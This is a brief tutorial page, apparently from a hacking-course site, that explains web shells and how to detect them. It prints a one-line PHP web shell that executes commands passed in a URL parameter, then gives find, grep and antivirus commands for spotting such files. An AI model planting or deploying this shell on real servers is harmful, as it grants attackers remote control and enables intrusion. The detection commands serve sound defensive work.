A web shell is a script uploaded to a web server that gives an attacker permanent remote access to the server.
<?php echo shell_exec($_GET['cmd']); ?>
// Access: http://target/shell.php?cmd=whoami# Find recently modified PHP files
find /var/www -name "*.php" -mtime -7
# Search for suspicious functions
grep -r "system\|exec\|passthru\|shell_exec" /var/www/
# Check with antimalware
clamscan -r /var/www/Found an issue with this guide? Send a correction with the article URL and your example. About our learning material.
Subscribe to Code Hacker and get hands-on access to 40+ premium courses — Ethical Hacking, Kali Linux, Metasploit, Network Hacking, Bug Bounty & more!